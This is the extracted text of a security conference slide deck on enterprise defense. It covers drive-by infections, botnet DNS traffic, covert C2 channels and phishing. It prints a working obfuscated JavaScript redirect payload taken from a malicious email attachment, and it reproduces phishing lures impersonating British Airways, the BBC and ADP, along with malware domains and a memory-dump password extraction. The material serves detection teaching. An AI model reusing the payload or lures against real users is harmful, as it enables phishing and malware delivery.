Defending The Enterprise

101 receipes of infosec warfare ;)

The Russian Way

Vladimir Kropotov
Sergey Soldatov
Fyodor Yarochkin
About the speakers
Overview

- Prepare
- Detect
- Protect
- Investigate

- Understand threats
- Real time visibility
- You owned. Your actions?
- Owned: finding who targets you, what data they want. What's been compromised

We discuss these techniques in hands-on matter
Breaking down details

• Threats: experience from Soviet Union
  – Primary threats
  – Secondary threats

• Defenses
  – Proactive defenses
  – Dealing with primary threats
  – Living with presence of secondary threats
  – Systematic Framework (tools)
Tools used in this presentation

git clone https://github.com/fygrave/ndf.git
Threats
Understanding threats

- Attack actors
  - Financially motivated criminals (See our “from Russia with Love.exe talks”)
  - Espionage – industrial and political

- Attack vectors
  - Web remains to be the most common way of having your network compromised
  - Email is the other common channel
Drive-By step by step

[ examples, drive by campaigns, compromises, malware behavior ]

In Russia you can owned via drive-by way more often than anywhere else :)

– fact of life
Infection via http (hospital_mid_driveby.pcap)
As it can be seen in proxy logs

GET http://echtvfn.ftp1.biz/counter HTTP/1.1
  Referer: http://www.medcenter-mid.ru/
  Content-Type: text/html; charset=utf-8
GET http://echtvfn.ftp1.biz/eStOzPU/qxrupMvs1Cl2?
vxetuy=EmgmE9xgqzzXmmgzmgmxxB
  Referer: http://echtvfn.ftp1.biz/counter
  Content-Type: application/javascript
GET http://echtvfn.ftp1.biz/tStOzPU/qxrupMvs1Cl2 HTTP/1.1
  User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_30
  Content-Type: application/java-archive
GET http://echtvfn.ftp1.biz/d4StOzPU/qxrupMvs1Cl2 HTTP/1.1
  User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_30
  Content-Length: 75776
  Content-Type: application/octet-stream
Drive-By in Nutshell :)  

- **Visit** an infected site (any banner network can be a lead too)  
- **Traffic** distribution/TDS (not compulsory)  
- **Target** Identification (javascript exploit selection)  
- **Exploit**  
- **Payload** (.exe)  
- **Statistics** update
Secondary threats

Your network is compromised.. what's next...?

- The data gets siphoned out of your network
- Monitoring by adversary
- Victimized network users
Secondary threats

- Methods – Communication channels
- Hidden communication (covert channels)
- Actors and Actor targets – spies want your data :)

So what do we look at here? :)


### Post infection activity (Shiz example)

<table>
<thead>
<tr>
<th>Timestamp</th>
<th>IP Address</th>
<th>Port</th>
<th>Protocol</th>
<th>Source Address</th>
<th>Destination Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>51.34.130105</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A jwuyqjwyv.eu</td>
<td></td>
</tr>
<tr>
<td>52.34.138575</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A marytymenok.eu</td>
<td></td>
</tr>
<tr>
<td>53.34.142617</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A gatelyhaviy.eu</td>
<td></td>
</tr>
<tr>
<td>54.34.146657</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A nopegymozow.eu</td>
<td></td>
</tr>
<tr>
<td>55.34.150973</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A fodyhijyv.eu</td>
<td></td>
</tr>
<tr>
<td>56.34.156240</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A vofozymufok.eu</td>
<td></td>
</tr>
<tr>
<td>57.34.159952</td>
<td>10.0.2.15</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>127 Standard query response, No such name</td>
<td></td>
</tr>
<tr>
<td>58.34.160752</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>86 Standard query A gatelyhaviy.eu.HomeGateway</td>
<td></td>
</tr>
<tr>
<td>59.34.161382</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A digivehusyd.eu</td>
<td></td>
</tr>
<tr>
<td>60.34.162183</td>
<td>80.239.296.25</td>
<td>16.0.2.15</td>
<td>TCP</td>
<td>60 http &gt; ndm-requester [FIN, ACK] Seq=1 Ack=2 Win=65535 Len=0</td>
<td></td>
</tr>
<tr>
<td>61.34.162196</td>
<td>80.239.296.25</td>
<td>16.0.2.15</td>
<td>TCP</td>
<td>54 ndm-requester &gt; http [ACK] Seq=2 Ack=2 Win=64240 Len=0</td>
<td></td>
</tr>
<tr>
<td>62.34.167030</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A cihunemyror.eu</td>
<td></td>
</tr>
<tr>
<td>63.34.168412</td>
<td>10.0.2.15</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>127 Standard query response, No such name</td>
<td></td>
</tr>
<tr>
<td>64.34.169224</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>86 Standard query A qceqinuyuopq.eu.HomeGateway</td>
<td></td>
</tr>
<tr>
<td>65.34.172739</td>
<td>10.0.2.15</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>74 Standard query A kemocujufy.eu</td>
<td></td>
</tr>
<tr>
<td>66.34.176237</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>127 Standard query response, No such name</td>
<td></td>
</tr>
<tr>
<td>67.34.176887</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>86 Standard query A marytymenok.eu.HomeGateway</td>
<td></td>
</tr>
<tr>
<td>68.34.181259</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>127 Standard query response, No such name</td>
<td></td>
</tr>
<tr>
<td>69.34.181938</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>86 Standard query A digivehusyd.eu.HomeGateway</td>
<td></td>
</tr>
<tr>
<td>70.34.189324</td>
<td>10.0.2.15</td>
<td>16.0.2.2</td>
<td>DNS</td>
<td>127 Standard query response, No such name</td>
<td></td>
</tr>
<tr>
<td>71.34.190128</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>86 Standard query A fodyhijyv.eu.HomeGateway</td>
<td></td>
</tr>
<tr>
<td>72.34.204682</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>161 Standard query response, No such name</td>
<td></td>
</tr>
<tr>
<td>73.34.205288</td>
<td>10.0.2.15</td>
<td>10.0.2.255</td>
<td>NBS</td>
<td>92 Name query NB DEOINUUYP00.EU=&lt;00&gt;</td>
<td></td>
</tr>
<tr>
<td>74.34.207852</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A tucyquaciq.eu</td>
<td></td>
</tr>
<tr>
<td>75.34.209525</td>
<td>10.0.2.15</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>74 Standard query A kepymexihak.eu</td>
<td></td>
</tr>
<tr>
<td>76.34.210786</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A jejerudupuc.eu</td>
<td></td>
</tr>
<tr>
<td>77.34.213800</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A ryecolijet.eu</td>
<td></td>
</tr>
<tr>
<td>78.34.216048</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>127 Standard query response, No such name</td>
<td></td>
</tr>
<tr>
<td>79.34.216573</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A pumadypyruv.eu</td>
<td></td>
</tr>
<tr>
<td>80.34.217326</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>86 Standard query A jwuyqjwyv.eu.HomeGateway</td>
<td></td>
</tr>
<tr>
<td>81.34.219611</td>
<td>10.0.2.15</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>74 Standard query A vonlqofolty.eu</td>
<td></td>
</tr>
<tr>
<td>82.34.223278</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A xubifaremin.eu</td>
<td></td>
</tr>
<tr>
<td>83.34.225135</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74 Standard query A foxivusozuc.eu</td>
<td></td>
</tr>
<tr>
<td>84.34.225954</td>
<td>10.0.2.15</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>127 Standard query response, No such name</td>
<td></td>
</tr>
<tr>
<td>85.34.226771</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>86 Standard query A nopegymozow.eu.HomeGateway</td>
<td></td>
</tr>
<tr>
<td>86.34.228361</td>
<td>10.0.2.15</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>161 Standard query response, No such name</td>
<td></td>
</tr>
<tr>
<td>87.34.230859</td>
<td>10.0.2.2</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>161 Standard query response, No such name</td>
<td></td>
</tr>
</tbody>
</table>
Post infection activity (Shiz example)

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Source Port</th>
<th>Destination Port</th>
<th>Protocol</th>
<th>Transaction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>98 34.239613</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A puregivytoh.eu</td>
</tr>
<tr>
<td>99 34.241119</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A keraborigin.eu</td>
</tr>
<tr>
<td>100 34.243479</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A qegytuvufoq.eu</td>
</tr>
<tr>
<td>101 34.244983</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A cicaratupig.eu</td>
</tr>
<tr>
<td>102 34.245093</td>
<td>10.0.2.2</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>90</td>
<td>Standard query response A 66.175.210.173</td>
</tr>
<tr>
<td>103 34.245389</td>
<td>10.0.2.15</td>
<td>66.175.210.173</td>
<td>TCP</td>
<td>62</td>
<td>ndm-server &gt; http [SYN] Seq=0 Win=64240 Len=0 MSS=0</td>
</tr>
<tr>
<td>104 34.246882</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A nozoxxucavaq.eu</td>
</tr>
<tr>
<td>105 34.248332</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A jepororyrih.eu</td>
</tr>
<tr>
<td>106 34.250001</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A galokuseumu.eu</td>
</tr>
<tr>
<td>107 34.251466</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A puvopalywet.eu</td>
</tr>
<tr>
<td>108 34.252918</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A rydinivoloh.eu</td>
</tr>
<tr>
<td>109 34.254800</td>
<td>10.0.2.15</td>
<td>10.0.2.2</td>
<td>DNS</td>
<td>74</td>
<td>Standard query A dikoniwudim.eu</td>
</tr>
<tr>
<td>110 34.254503</td>
<td>10.0.2.15</td>
<td>10.0.2.15</td>
<td>DNS</td>
<td>127</td>
<td>Standard query response. No such name</td>
</tr>
</tbody>
</table>

Frame 102: 90 bytes on wire (720 bits), 90 bytes captured (720 bits)
Ethernet II, Src: RealtekU_12:35:02 (52:54:00:12:35:02), Dst: CadmusCo_d3:30:14 (08:00:27:d3:30:14)
Internet Protocol Version 4, Src: 10.0.2.2 (10.0.2.2), Dst: 10.0.2.15 (10.0.2.15)
User Datagram Protocol, Src Port: domain (53), Dst Port: 63088 (63088)
Domain Name System (response)

[Request In: 62]
[Time: 0.078063900 seconds]
Transaction ID: 0x5a04
Flags: 0x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
Queries

cihunemyror.eu: type A, class IN
Name: cihunemyror.eu
Type: A (Host address)
Class: IN (0x0001)
Answers
Post infection activity (Shiz example)
Post infection activity (Shiz example)
RRD is cooooool! :)

- Assumption: anyone who periodically 'calls' back is a bad guy (make exceptions)
- RRD is your friend. Look at anomalies: packet sizes, frequencies, port ranges
DNS are interesting too

- DNS traffic is very interesting to look at
Spot some friends.. :)

If you were paying attention you could spot some friends:
- malware activity (shiz, carbep, etc)
- antivirtuses using DNS as a very convinient covert channel
- Other botnets
Find malware.. easy. Look for weird domains:

"0-0-0-0-1-0-0-1-1-0-0-0-1-0-0-1-0-1-1-0-0-1-1-1-1-1-1-1-1-1-1-1-1-1-.0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-7-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-.info → 96.126.108.132:

"0-0-1-0-1-1-1-1-0-0-1-1-1-1-1-0-1-1-1-0-1-0-1-1-1-1-1-1-1-1-.0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-38-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-.info → 96.126.108.132"

"0-0-1-0-0-0-1-0-1-0-0-1-0-0-0-0-1-0-0-1-0-1-1-1-1-1-1-1-1-.0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-28-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-.info → 96.126.108.132"

and seek for cross-ref: 96.126.108.132 → "zeqsmmiwj3d.com" "tufecagemyl.eu" "tep.xylocomod.com" "ryleryqacic.eu" "pufiluqudic.eu" "alotibi.xylocomod.com"...
So lets spot some friends..

"foxivusozuc.eu:eu_14_3.0_NXX:66.175.210.173:0"
"vopycyfutoc.eu:eu_14_3.0_NXX:_:3"
"qegovvyqaxuk.eu:eu_14_3.0_NXX:_:3"
...

around 700 domains total
Bot.. at linode

Among those:
"cihunemyror.eu:eu_14_3.0_NXX:66.175.210.173:0"
"lyruxyxaxaw.eu:eu_14_3.0_NXX:66.175.210.173:0"
"l33t.brand-clothes.net:net_22_4.0_NPX:66.175.210.173:0"
"wanttobehappy.in:in_16_4.0_NXX:66.175.210.173:0"
"fokyxazolar.eu:eu_14_4.0_NXX:66.175.210.173:0"
"mamixikusah.eu:eu_14_3.0_NXX:66.175.210.173:0"
"foxivusozuc.eu:eu_14_3.0_NXX:66.175.210.173:0"
Bots and botnets
BTW, another bot, carbep is over.. maybe :)
Secondary threats Risks

- Data leaks
- Reputation
- Incident Public Disclosure
- Service outage
More on covert channels..

Interesting way of 'channeling' control of your machines through publicly accessible portals, such as twitter, facebook, plurk..
Malware orchestration

Initially spotted by Joe Steward from Secureworks
http://www.secureworks.com/cyber-threat-intelligence/threats/chasing_apt/

Timing of botnet operator posting “updates” on plurk:

2011-07-27 01:57:30 GMT 114.37.27.26
2011-08-03 07:53:27 GMT 122.116.200.234
2011-08-08 00:54:00 GMT 122.116.200.234
2011-08-10 14:03:30 GMT 122.116.200.234
2011-08-30 00:41:11 GMT 69.160.243.116
2011-08-31 03:31:30 GMT 122.117.204.210
2011-09-28 07:54:03 GMT 122.117.204.210
2011-09-30 00:38:42 GMT 122.117.204.210
2011-10-11 01:40:55 GMT 122.117.204.210
2011-10-20 02:43:06 GMT 122.117.204.210
2011-11-16 14:00:43 GMT 220.130.59.159
2011-11-28 06:44:54 GMT 220.130.59.159
2011-11-28 09:55:03 GMT 220.130.59.159
2011-11-30 01:05:46 GMT 220.130.59.159

2011-12-28 02:28:09 GMT 203.198.145.45
2011-12-29 07:52:32 GMT 203.198.142.147
2012-01-29 03:06:19 GMT 203.198.145.45
2012-02-27 07:51:50 GMT 203.198.145.45
2012-03-21 07:01:40 GMT 220.130.59.159
2012-04-17 02:34:24 GMT 220.130.59.159
2012-05-02 03:04:28 GMT 203.198.145.45
2012-05-18 07:45:34 GMT 220.130.59.159
2012-06-14 09:04:41 GMT 203.198.145.45
2012-06-20 02:47:46 GMT 203.198.145.45
2012-06-28 01:48:24 GMT 203.198.145.45
2012-07-09 04:25:35 GMT 203.198.145.45

Updates posted in form of “Serial Number: XXXXX ← encoded C2 information
Interesting observations

- User agent used to access 'control' accounts is always: 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1).
- While generic, exactly the same UA was seen in some Application level DDoS attacks against gambling websites in Taiwan.
Another bot

• Similar activities are seen often:
Tageted and not targeted attacks consequences examples 2012-2013

- Obvious monetization after targeted attack is easily detectable. Example, sites with huge traffic.
- Targeted impact of not targeted attacks (high profile news resources, confirmed incidents, “afterbot” consequences)
- Why do we have “Incident out of the company scope” in our internal classification
Prepare
Systematic Defense

- What to look at
- How to look at your data
- How to prepare well for an attack (you can't walk into the same river twice, so 'preserve' the flow)
PREPARE

Preparatory actions should be taken to provide data sources and tools for detection
Ideally, be able to detect attack in progress (minimal impact), however we wish to be able to detect attacks at some point of time.
INVESTIGATE

Identify the impact of the attack so proper response could be implemented
PROTECT

- Real-time attack detection: the attacked or compromised machines are to be isolated from the rest of the network (minimize impact)
- Post-incident detection – identify impacted systems and mitigate the impact
Detect
Entry points into enterprise

WEB
SMTP
Mobile (BYOD)
Flash/disks
Misc (usb, ethernet ports on your walls, your trash ;-))
Detection techniques

- Focus on your entry points first. But monitor for signs of secondary activities
  - Log analysis
  - Traffic analysis using custom tools
  - DNS traffic analysis
  - Honeypot data analysis
Antiviruses and modern malware

- It's not so effective as 5 years ago for realtime malware detection.
- Antiviruses and attack surface
Antiviruses and modern malware

- It's not so effective as 5 years ago for realtime malware detection.
- Antiviruses and attack surface
- The same true for IPS/IDS (unfortunately)
Box solutions as Simple FUI (Fuck up indicators)

- Antivirus == damn good Fuck Up indicator of your daily monitoring work. If you see ex. CVE-2012-0158 the e-mail, received 1 year ago - you see you fucked it up a year ago, but now must be able to react. :)
### Vendor FP

#### Attack Details
- **User:** un:A
- **Attack Name:** Worm.Win32.Vobfus.djek
- **File Name:** voblog.exe
- **Attack Information:** --

#### Traffic
- **Source:** 172.16
- **Destination:** un://
- **Service:** --
- **Direction:** Unknown

#### Event Detection
- **Start Time:** 17:22 12 04 Apr 2013
- **Active:** Completed
- **Origin:** --
- **Detected By:** --

#### General Event Information
- **Event Name:** Worm.Win32.Vobfus.djek
- **Product:** Check Point Endpoint Security
- **Severity:** High
- **Category:** Endpoint Security
- **ID:** EN25210459

#### More
- **Event Definition Name:** Virus Alert
- **Additional Info:** failed to quarantine infection
- **Accepted connections:** 0
- **Blocked connections:** 0
- **Peak connections:** 2
- **Total connections:** 2
- **Job Name:** All online jobs
- **Confidence Level:** N/A
Vendor FP
Vendor FP
Vendor FP
Based on our investigation, "Worm.Win32.Vobfus.djek" was detected as False Positive and resolved on 3 April.

Therefore, after antivirus DB update, the issue should be resolved.

Regarding the remain issues, we have found them to be False Positive incidents and decided to take the following steps:

Trojan.Win32.Master.A – **will be removed from our DB** 03.04.2013
Backdoor.Win32.Zlob.B – **will be removed from our DB** 03.04.2013
Worm.Win32.Dasher.J – will be **lowered to low confidence** level
Trojan.Win32.Biscuit.A – was already fixed last week
And finally Vendor got something
Government certified solutions...

- In **full compliance** with all mandatory requirements
- Without “undeclared capabilities”
- With good crypto
- … etc…
Government certified solutions...

- In full compliance with all mandatory requirements
- Without “undeclared capabilities”
- With good crypto
- … etc...

....all this means nothing for security!
Certified solution story

- What is it for?
  - to make secure (certified) communication

- What is the problem?
  - just store password in memory … in clear
How does 'attack' work?

1. Start the application “Business mail”
2. Find PID of Wmail.exe
3. Dump process' memory to file
4. Find your password in dump file
How does 'attack' work?
(that wasn't the end)

5. Exit “Business mail” (you can check that no process)

6. Continue to work as usual

3. Some hours later use Windows memory reader to dump whole comp memory (need admin rights)

4. Again, find your password in dump (use strings)!
How does 'attack' work?

(that wasn't the end)

3. Some hours later use Windows memory reader to dump whole comp memory (need admin rights)

4. Again, find your password in dump (use strings)!
How does 'attack' work?

(that wasn't the end)

5. Exit "Business mail" (you can check that no

6. Continue to work as usual

3. Some

hours

later use Windows memory reader to

dump whole comp memory (need admin rights)

4. Again, find your password in dump (use strings)!
What does it mean?

1. “Certified” is not the same as “Secure”:
   - Mentioned criteria is not enough
   - *The year of 1992 (actually, it's Orange book)*
   - Event mentioned criteria tested badly
     - *In demonstrated case we have mandatory requirement but it wasn't implemented*
   - The more users use the product the more secure it
   - *That's not about Russian gov certified products*
What does it mean?

1. “Certified” is not the same as “Secure”:
   - Mentioned criteria is not enough
   - The year of 1992 (actually, it’s Orange book)
   - Event mentioned criteria tested badly
   - *In demonstrated case we have mandatory requirement but it wasn’t implemented*
   - The more users use the product the more secure it
   - *That’s not about Russian gov certified products :-(*
1. “Certified” is not the same as “Secure”:
   - Mentioned criteria is not enough
   - The year of 1992 (actually, it’s Orange book)
   - Event mentioned criteria tested badly
   - In demonstrated case we have mandatory requirement but it wasn’t implemented
   - The more users use the product the more secure it
   - That’s not about Russian gov certified products :-((
Cloud technologies from Security Vendors and Confidential information

- Cloud, tell me - is this a malicious file?
- Mmm, not sure, may be not...
- Thank you for sending us your annual financial report...
DNS.. antiviruses are noisy :)

- Dr. Web “covert channel” - building a passive DNS:
DNS antiviruses are noisy

- Trendmicro.. what are we doing here?:)
DNS .. antiviruses .. hmm

.McAfee....
Detecting and mitigating threats, our way

- The most important thing is environment:
  - **Real Environment**
  - **Attacker Desirable Environment**
  - **Defender Desirable Environment**.

- Security is also: availability and usability
Enterprise environment:

- Environment must be strictly controlled as possible. “SOE” is a good practice :)
- Environment can be easily switchable and detachable.
- Traffic between internal and external network must be predictable. Hello skype....
Attacker and your Environment = Cat & Mouse game

- Honeypot Environment must look real to the attacker
- Honeypot Environment must be able to provide evidence
- Real Environment must be isolated from Honeypots.
- Compromised Environment must be segregated as soon as possible if attack was successful (containment)
Detecting and mitigating threats: Prerequisites

Reality of life in a distributed network:

• You can't control your network
• Different tools/people are used in different regions
• Lots of data
Detecting and mitigating Primary and Secondary threats

Things to pay attention in your logs:
- suspicious user agents,
- content-type,
- suspicious application type (i.e. octed-stream),
- obfuscated IP addresses (0x55..., int32 encoded IP addresses)
“Intelligent” log processor
(proc_log_*.pl)
“Intelligent” log processor (proc_log_*_.pl)

· If you don't have SIEM....
· If you don't use even SEC.pl or other on-line log processor...
· If you have nothing … just desire to understand what's going on....
“Intelligent” log processor (proc_log_*.pl)

- If you don't have **SIEM**....
- If you don't use even **SEC.pl** or other **on-line log processor**...
- If you have nothing ... just desire to understand what's going on....

This script will **help you to find evil** in your net
How does it work?

1. Take predefined patterns for log fields and **calculate log line score**. Depending on score write down line into colored (EB,B,W,EW,Gr) list for further investigation (**--list**)

2. Find all lines with field matched specified pattern – smth. like egrep+cut\awk (**--match**)

1. Take predefined patterns for log fields and calculate log line score. Depending on score write down line into colored (EB,B,W,EW,Gr) list for further investigation (**--list**)

2. Find all lines with field matched specified pattern – smth. like egrep+cut\awk (**--match**)

General course of work
(list search)
General course of work (match search)
The scenario

1. **--list** ==> Scored rows with signatures ==> Users in troubles

2. **--match** ==> Find all history about users in troubles – before and after signature ==> Further manual investigation

3. **Update signatures** if need to
Detecting SMTP vector activities

- Email is another common method for an adversary to put a foot into the target network.

- Attractiveness:
  - Low profile (you only send emails to those who you want to compromise)
  - Easy antivirus bypass (password-packed zip archives anyone?)
  - Users are generally – idiots ;-)}
Owning a network..

- Vulnerabilities seen in use through this attack vector:

Adobe Acrobat reader
CVE-2013-0640
CVE-2012-0775
Adobe flash player
CVE-2012-1535

MS Office
CVE-2012-0158
CVE-2011-1269
CVE-2010-3333
CVE-2009-3129

Java
CVE-2013-0422
CVE-2012-1723
CVE-2012-5076
But...

- Human stupidity is exploited more than ever..
A fax has been received.

**MCFID** = 39579806  
**Time Received** = Tue, 04 Dec 2012 21:48:21 +0200  
**Fax Number** = 9470091738  
**ANI** = 3145495221  
**Number of Pages** = 18  
**CSID** = 32231126269  
**Fax Status Code** = Successful

Please do not reply to this email.

RapidFAX Customer Service

[www.rapidfax.com](http://www.rapidfax.com)
Content of archive file

Simple executable (no vulnerabilities exploited)
Variant #2: email contains an HTML file with redirect to 'malicious' page

Specifics

• An HTML with a simple page redirect
• Passes Antivirus checks, since does not contain malicious payload
• Allows to bypass corporate proxy server checks, which disable script/iframes redirects.
• Content of the message makes it attractive for the user to view the HTML content.
Subject: British Airways E-ticket receipts

e-ticket receipt
Booking reference: 05V9363845

Dear,

Thank you for booking with British Airways.

Ticket Type: e-ticket
This is your e-ticket receipt. Your ticket is held in our systems, you will not receive a paper ticket for your booking.

Your itinerary is attached (Internet Explorer/Mozilla Firefox file)

Yours sincerely,

British Airways Customer Services

British Airways may monitor email traffic data and also the content of emails, where permitted by law, for the purposes of security and staff training and in order to prevent or detect unauthorised use of the British Airways email system.

British Airways Plc is a public limited company registered in England and Wales. Registered number: 89510471. Registered office: Waterside, PO Box 365, Harmondsworth, West Drayton, Middlesex, England, UB7 0GB.

How to contact us
Although we are unable to respond to individual replies to this email we have a comprehensive section that may help you if you have a question about your booking or travelling with British Airways.

If you require further assistance you may contact us

If you have received this email in error
This is a confidential email intended only for the British Airways Customer appearing as the addressee. If you are not the intended recipient please delete this email and inform the sender as soon as possible. Please note that any copying, distribution or other action taken or omitted to be taken in reliance upon it is prohibited and may be unlawful.
Actual redirect

Please wait. You will be forwarded.. .

Internet Explorer / Mozilla Firefox compatible only

```html
<body>
<h1><b>Please wait. You will be forwarded.. . </b></h1>
<h4>Internet Explorer / Mozilla Firefox compatible only</h4>
<br>
<script>
ff=String;fff="fromCharCode";ff=ff[fff];zz=3;try {document.body&=5151}catch(gdsgd)
{v="val";if(document)try {document.body=12;}catch(gdsgsdg){asd=0;try{catch(q){asd=1;}if(!asd)
{w={a:window}.a;vv="e"+v;}e=w[vv];if(1){f=new Array(118,96,112,49,60,50,57,58,8,118,96,112,50,60,116,97,113,47,59,9,103,102,39,116,97,113,47,61,60,
4,116,111,56,47,46,100,111,113,115,109,44,106,97,45,112,117,57,54,48,55,46,47,101,109,114,116,107,4
7,107,103,110,106,113,47,98,109,108,116,107,45,110,104,111,32,59,124);}w=f;s=[];if(window.document)for(i=2-2;-i+104!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]+j%zz);}xz=e;if(v)xz(s)}
</script>
</body>
</html>
```
Another variation: email that contains masked links to malicious pages

- No attachment. The message text is html/text points to the same resource
- All links are 'masked' to be pointing to legit links
- The same attractive text of the message
Diana Ayala saw this story on the BBC News website and thought you should see it.

**Cyprus bailout: bank levy passed parliament already!**
Cyprus can amend terms to a bailout deal that has sparked huge public anger....

**BBC Daily E-mail**
Choose the news and sport headlines you want - when you want them, all in one daily e-mail
<http://www.bbc.co.uk/email>

**Disclaimer**
The BBC is not responsible for the content of this e-mail, and anything written in this e-mail does not necessarily reflect the BBC's views or opinions. Please note that neither the e-mail address nor name of the sender have been verified.

If you do not wish to receive such e-mails in the future or want to know more about the BBC's Email a Friend service, please read our frequently asked questions by clicking here
This message is to notify you that your package has been processed and is on schedule for delivery from ADP.

Here are the details of your delivery:
Package Type: QTR/YE Reporting
Courier: UPS Ground
Estimated Time of Arrival: Tuesday, 5:00pm
Tracking Number (if one is available for this package): 1Z023R961390411904

Details: Click here to view and/or modify order

We will notify you via email if the status of your delivery changes.

Access these and other valuable tools at support.ADP.com:
- Payroll and Tax Calculators
- Order Payroll Supplies, Blank Checks, and more
- Submit requests online such as SUI Rate Changes, Schedule Changes, and more
- Download Product Documentation, Manuals, and Forms
- Download Software Patches and Updates
- Access Knowledge Solutions / Frequently Asked Questions
- Watch Animated Tours with Guided Input Instructions

Thank You,
ADP Client Services
support.ADP.com

This message and any attachments are intended only for the use of the addressee and may contain information that is privileged and confidential. If the reader of the message is not the intended recipient or an authorized representative of the intended recipient, you are hereby notified that any dissemination of this communication is strictly prohibited. If you have received this communication in error, notify the sender immediately by return email and delete the message and any attachments from your system.
<table>
<thead>
<tr>
<th>Domain</th>
<th>URL</th>
<th>Code</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>go-my.ru</td>
<td>/cyprus_news.html</td>
<td>200</td>
<td>text/html</td>
</tr>
<tr>
<td>go-my.ru</td>
<td>/favicon.ico</td>
<td>200</td>
<td>text/plain</td>
</tr>
<tr>
<td>rockbandsongs.net</td>
<td>/kill/larger_emergency.php</td>
<td>200</td>
<td>text/html</td>
</tr>
<tr>
<td>rockbandsongs.net</td>
<td>/safebrowsing/gethash?client=navclient-auto-fox&amp;appver=7.0&amp;pver=2.2&amp;wtkey=AKEgNis9z21bYEK_R8jjxBC1C7G06Hgba4z6vka6w2BSjlJqiye7kRqsP-ogQJkCDyl1-3nPi3l1RUkBeGVn7uzk603cVg==</td>
<td>200</td>
<td>application/octet-stream</td>
</tr>
<tr>
<td>rockbandsongs.net</td>
<td>/kill/larger_emergency.php</td>
<td>200</td>
<td>text/html</td>
</tr>
<tr>
<td>rockbandsongs.net</td>
<td>/kill/larger_emergency.php</td>
<td>200</td>
<td>application/java-archive</td>
</tr>
<tr>
<td>rockbandsongs.net</td>
